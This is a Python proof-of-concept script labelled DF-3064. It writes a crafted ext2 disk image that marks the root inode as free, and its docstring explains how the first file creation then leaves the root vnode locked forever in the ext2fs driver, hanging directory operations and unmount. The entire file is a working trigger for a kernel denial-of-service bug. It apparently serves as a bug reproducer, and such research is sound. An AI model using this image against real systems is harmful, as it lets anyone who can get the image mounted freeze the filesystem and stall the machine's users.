#!/usr/bin/env python3
"""Craft the DF-3064 trigger image.

Plain rev1 ext2 image (no special features): the group-0 inode bitmap's
bit for inode 2 (the ROOT, whose vnode is live from mount time) is
cleared, bg_free_inodes_count = 1 and s_free_inodes_count = 1.

On the first create, ext2_nodealloccg scans the bitmap, picks bit 1
(== inode 2) and returns ino 2.  ext2_valloc then finds the live root
vnode via ext2_ihashget() -- which returns it vget()'d (LK_EXCLUSIVE +
vref held) -- prints "ext2_valloc: vp %p exists" and returns EEXIST
WITHOUT dropping the lock/ref (sys/vfs/ext2fs/ext2_alloc.c:422-426).
The root vnode stays locked forever: every later directory operation on
the mount blocks uninterruptibly; umount blocks too.

Usage: craft3064.py <out.img>
"""
import struct, subprocess, sys

SB = 1024

def main(out):
    subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024',
                    out, '4096'], check=True)
    f = open(out, 'r+b')
    f.seek(SB); sb = bytearray(f.read(1024))
    assert struct.unpack_from('<H', sb, 0x38)[0] == 0xEF53

    def p32(o, v): struct.pack_into('<I', sb, o, v)
    bsize = 1024 << struct.unpack_from('<I', sb, 0x18)[0]

    p32(0x10, 1)              # s_free_inodes_count = 1

    # group descriptor 0 (block 2 for bsize 1024) -- no features => no gd csum
    f.seek(2 * bsize); gd = bytearray(f.read(32))
    ibmp = struct.unpack_from('<I', gd, 4)[0]
    struct.pack_into('<H', gd, 14, 1)          # bg_free_inodes_count = 1
    f.seek(2 * bsize); f.write(gd)

    # clear inode bit 1 (inode 2 = root) in the inode bitmap block
    f.seek(ibmp * bsize); bm = bytearray(f.read(bsize))
    bm[0] &= ~(1 << 1)
    f.seek(ibmp * bsize); f.write(bm)

    f.seek(SB); f.write(sb)
    f.close()
    print(f"craft3064: inode bitmap blk={ibmp} byte0={bm[0]:#04x} "
          f"(bit1 cleared => ino 2 looks free)")
    print(f"OK wrote {out}")

if __name__ == '__main__':
    main(sys.argv[1])
